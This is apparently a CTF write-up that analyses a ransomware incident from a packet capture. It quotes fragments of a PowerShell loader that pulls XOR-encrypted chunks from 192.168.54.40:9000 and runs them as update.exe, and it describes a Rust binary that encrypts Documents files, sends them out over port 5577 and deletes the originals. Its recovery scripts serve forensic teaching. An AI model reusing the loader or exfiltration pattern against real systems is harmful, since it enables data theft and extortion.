this challenge was a basic ransomware breach scenario, first we have a pcap file with sslkeys, you can start by importing them to the pcap to decrypt the traffic.
you can do this by going to
edit->preferences->protocols->TLS->(Pre)-Master-Secret log filename
and add the sslkeys file path there.
Identifying the malicious script:
filter by http2.header.value == GET and you will find a request with a /raw/KWM6f0jW path, this path pattern is clearly from pastebin.com, inspecting the reponse you’ll find a powershell script.
copy paste the script into a text file and let’s start analysing it.
Deobfuscating the powerhshell script:
first there is an ip address at the start:
$Inquisition_pursY_in_a_dangerous_world = "0xC0A83628" # this translates to 192.168.54.40$Celestial_lore_cF_knowledge_begins_with_loss = 9000we can rename them to ip and port.
after that you’ll notice a repeated pattern of:
# Oczy and Gras uncover Rafal’s hidden manuscripts, revealing centuries-old astronomical theories.$client = New-Object System.Net.Sockets.TcpClient$client.Connect($ip, $port)$_for_intellectual_rebellionOcentric_truth = $client.GetStream()
$Scholars_unite_uSts_next_generation = [System.Text.Encoding]::UTF8."$GetB$ytes"("<character name>")$_for_intellectual_rebellionOcentric_truth.Write($Scholars_unite_uSts_next_generation, 0, $Scholars_unite_uSts_next_generation.Length)
$Novak_confronts_Rafal_maintains_ = New-Object byte[] 8192$Astronomical_disAstronomical_dis = New-Object System.IO.MemoryStreamdo { $read3 = $_for_intellectual_rebellionOcentric_truth.Read($Novak_confronts_Rafal_maintains_, 0, $Novak_confronts_Rafal_maintains_.Length) if ($read3 -gt 0) { $Astronomical_disAstronomical_dis.Write($Novak_confronts_Rafal_maintains_, 0, $read3) }} while ($read3 -gt 0)$Evolutionary_researchChes_beyond_polity = $Astronomical_disAstronomical_dis.ToArray()$Watch_guild_prinIts_in_15th_century = $Evolutionary_researchChes_beyond_polity$_for_intellectual_rebellionOcentric_truth.Close()$client.Close()Start-Sleep -Seconds 15here the script is connecting to the ip and port defined at the start, sending a AOT character name and recieves a response and saves in a variable, also it sleeps for 15 sec between connections, this is repeated 6 times
after the 6th time the script concatenates all the received responses with a specific order:
Petra Rall -> Hange Zoe -> Sasha Bleus -> Anni Leonhart -> Mikasa Ackerman -> Historia Reissafter that it does a base64 decode and decompress using Gzip:
$word1 = "irshir"$word2 = "n"$word3 = "kabirya"
$key = [System.Text.Encoding]::UTF8."$GetB$ytes"((($word1 , $word2 ,$word3) -join '_' -replace 'i','o' -replace 'r','u'))$KeyLength = $key.Length$DecrypteBuffer = New-Object byte[] $DataBuffer.Lengthfor ($i = 0; $i -lt $DataBuffer.Length; $i++) { $DecrypteBuffer[$i] = $DataBuffer[$i] -bxor $key[$i % $KeyLength]}after decrypting the received data with xor key oushou_n_kabouya it saves the result as update.exe and verify it’s sha256, then executes it.
Recovering the Ranswomware binary:
filter by tcp.port == 9000 && ip.src == 192.168.54.40 and follow the tcp stream, export the data as raw binary, this will be the encrypted ransomware binary.
tshark -r challenge.pcapng -Y "tcp.port == 9000" -T fields -e data > data.txtto automate the extraction and decryption process you can use the following python script:
with open("data.txt", "r") as file: lines = file.read().splitlines()
def xor(data: bytes, key: bytes) -> bytes: retrun bytes(b ^ key[i % len(key)] for i, b in enumerate(data))keys = [ "Petra Rall", "Hange Zoe", "Sasha Bleus", "Anni Leonhart", "Mikasa Ackerman", "Historia Reiss"]data = {}
key = Nonefor line in lines: if line.strip() == "": continue dec_line = bytes.fromhex(line.strip()).decode(errors="ignore") if dec_line in keys: print("[*] Found key:", dec_line) key = dec_line data[dec_line ] = b"" elif key is not None: data[key] += bytes.fromhex(line.strip())
for key in data.keys(): print(f"[*] {key}: {len(data[key])} chunks")
bin = b""# apped in orderbin += data["Petra Rall"]bin += data["Hange Zoe"]bin += data["Sasha Bleus"]bin += data["Anni Leonhart"]bin += data["Mikasa Ackerman"]bin += data["Historia Reiss"]bin = xor(bin, b"oushou_n_kabouya")print("[*] Final binary size:", len(bin))with open("out.bin", "wb") as file: file.write(bin)this will give you the binary out.bin
Analyzing the Malware binary:
let’s gather some info about the binary first,
➜ file out.binout.bin: PE32+ executable (console) x86-64, for MS Windows, 5 sectionsusing die you can see that this is a rust binary

Open the bin in your favorite disassembler and add the associated pdb file.
I’ll go with IDA Pro, First in the main function, the program is taking the Document dir from either the HOME env var or from the public user, then runs the function purerustiness::get_paths() which returns a vector all files paths in the Document dir.
std::env::_var(v40, aHome, 4);v0 = *(_QWORD *)&v40[0];if ( *(_QWORD *)&v40[0] == 0x8000000000000001uLL ){v50 = v40[0];v51 = v40[1];}else{v1 = *((_QWORD *)&v40[0] + 1);RNvCskdKJRKLKjqM_7___rustc35___rust_no_alloc_shim_is_unstable_v2();v2 = (_OWORD *)__rustc::__rust_alloc(16, 1);if ( !v2 ){ v65 = v1; v64 = v0; alloc::raw_vec::handle_error(1, 16, &off_140025A98);}*v2 = xmmword_140025840;*((_QWORD *)&v50 + 1) = 16;*(_QWORD *)&v51 = v2;*((_QWORD *)&v51 + 1) = 16;*(_QWORD *)&v50 = 0x8000000000000001uLL;if ( 2 * v0 ) __rustc::__rust_dealloc(v1, v0, 1);}v64 = *((_QWORD *)&v50 + 1);v65 = v51;std::path::Path::_join((unsigned int)&v47, v51, DWORD2(v51), (unsigned int)aDocuments, 10);if ( v64 )__rustc::__rust_dealloc(v65, v64, 1);v3 = v48;v4 = v49;std::sys::fs::metadata(&v37, v48, v49);if ( (_DWORD)v37 == 2 ){if ( (v38 & 3) == 1 ){ v63 = v38 - 1; v64 = *(_QWORD *)(v38 - 1); v65 = *(_QWORD *)(v38 + 7); if ( *(_QWORD *)v65 ) (*(void (__fastcall **)(unsigned __int64))v65)(v64); v5 = *(_QWORD *)(v65 + 8); if ( v5 ) __rustc::__rust_dealloc(v64, v5, *(_QWORD *)(v65 + 16)); __rustc::__rust_dealloc(v63, 24, 8);}Src = v3;*(_QWORD *)&v31 = v4;p_Src = &Src;v33 = (__int64)<std::path::Display as core::fmt::Display>::fmt;v37 = &off_140025790;*(_QWORD *)&v38 = 2;*((_QWORD *)&v38 + 1) = &p_Src;v39 = 1u;std::io::stdio::_eprint(&v37);goto LABEL_70;}v55 = 0;v56 = 8;v57 = 0;v66 = 1;purerustiness::utils::get_paths(v3, v4, &v55);after that ransomware is initializing the KEY here:
p_Src = 0;v33 = 1;v6 = 0;v7 = 0;while ( 1 ){v34 = v6;v64 = v7;if ( v7 >= 0x10 ) break;v8 = v7 - 9;if ( v7 < 9 ) v8 = v7;v9 = byte_1400256F0[v7] ^ aTamjohert[v8];if ( v6 == p_Src ) alloc::raw_vec::RawVec<T,A>::grow_one(&p_Src, &off_140025740);v7 = v64 + 1;*((_BYTE *)v6 + v33) = v9;v6 = (char ***)((char *)v6 + 1);}v65 = (__int64)p_Src;v63 = v33;core::str::converts::from_utf8(&v37, v33, v6);we can get the key by xoring the bytes at byte_1400256F0 with the string tamjohert repeated, this gives us the key oushou_n_tkhsayt
after thet the key is beeing passed here
std::sync::once_lock::OnceLock<T>::initialize(&unk_140032000, &Src);and then initializing the aes instance:
<aes::ni::Aes128Enc as crypto_common::KeyInit>::new(&Src, v12);now the ranswomware loops over all the files paths gathered earlier and runs these functions:
purerustiness::utils::encrypt_file(&v43, &v37, &Src);purerustiness::utils::send_file(&v61, v44, v45);purerustiness::utils::delete_file(&v61);purerustiness::utils::write_enc_file(&v61, v25, v26);now we can go to the encrypt_file:
first it reads the file then it passes it to aes Block encryption
<aes::autodetect::Aes128 as cipher::block::BlockEncrypt>::encrypt_with_backend::inner(a3, &v24, &v24);then encodes the result in base64 and returns it.
base64::engine::Engine::encode::inner(v27, Src, v28, v23);now with the send send_file:
first it encode the file path using base64 then it connects to 192.168.56.40 on port 5577 and send the payload,
the payload is formatted with:
alloc::fmt::format::format_inner(&v31, &v19);the payload is content::filepath to get that :: you need to do some dynamic analysis or just test with a small file.
now i after encryting and sending the file the ransomware deletes the original file with delete_file function and then writes the encrypted content to a new file with .enc extension using write_enc_file function.
Recovering the encrypted files:
first filter by tcp.port == 5577 && ip.src == 192.168.54.65 and get those tcp streams
tshark -r challenge.pcapng -Y "tcp.port == 5577 && ip.src == 192.168.54.65" -T fields -e data > files.txtthen use the following python script to extract the file paths and content:
import base64from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad
KEY = b"oushou_n_tkhsayt"
def aes_decrypt(data: bytes): try: cipher = AES.new(KEY, AES.MODE_ECB) plaintext_padded = cipher.decrypt(data) plaintext = unpad(plaintext_padded, AES.block_size) return plaintext except Exception as e: return f"<decrypt error: {e}>"
def b64_decode(data: str): return base64.b64decode(data)
def main(): with open("files.txt", "r") as f: data = f.read()
lines = data.splitlines() while True: try: lines.remove("") except ValueError: break b64_file = "" for line in lines: line = bytes.fromhex(line).decode(errors="ignore") if "::" in line: b64_file += line.split("::")[0] name = b64_decode(line.split("::")[1]) file = b64_decode(b64_file) d = aes_decrypt(file) with open(name, "wb") as f: f.write(d) b64_file = "" else: b64_file += line
if __name__ == "__main__": main()Conclusion:
you’ll find the flag in meme_5.jpg:

nexus{1_h0p3_y0u_enj0y3d_1t_1_m34n_th3_m3m3}